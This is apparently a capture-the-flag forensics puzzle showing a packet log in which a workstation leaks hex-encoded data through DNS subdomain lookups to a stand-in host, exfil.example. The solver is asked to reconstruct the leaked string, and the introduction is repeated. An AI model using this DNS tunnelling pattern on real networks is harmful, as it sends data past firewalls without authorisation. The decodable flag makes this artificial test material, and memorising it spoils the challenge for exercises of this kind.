Firewalls block outbound HTTP all the time. Almost none of them block DNS, because then nothing works.
This is what a workstation resolved in a six-second window, right before the incident ticket was opened:
Most of those lookups are noise. The exfiltration channel is the one with the strange subdomain, split across several queries so each label stays under the 63-character limit.
Rebuild what left the network.
This is what a workstation resolved in a six-second window, right before the incident ticket was opened:
makefile
12:04:01.118042 IP 10.4.17.31.53140 > 10.4.17.1.53: A? 1-6e756c6c686176656e7b.t.exfil.example
12:04:02.118142 IP 10.4.17.31.53141 > 10.4.17.1.53: A? 2-646e735f69735f615f66.t.exfil.example
12:04:03.118242 IP 10.4.17.31.53142 > 10.4.17.1.53: A? 3-7265655f6368616e6e65.t.exfil.example
12:04:04.118342 IP 10.4.17.31.53143 > 10.4.17.1.53: A? 4-6c7d.t.exfil.example
12:04:06.441221 IP 10.4.17.31.53152 > 10.4.17.1.53: A? smtp.corp.example
12:04:06.512844 IP 10.4.17.31.53152 > 10.4.17.1.53: A? wpad.local
12:04:07.881903 IP 10.4.17.31.53160 > 10.4.17.1.53: A? update.corp.exampleMost of those lookups are noise. The exfiltration channel is the one with the strange subdomain, split across several queries so each label stays under the 63-character limit.
Rebuild what left the network.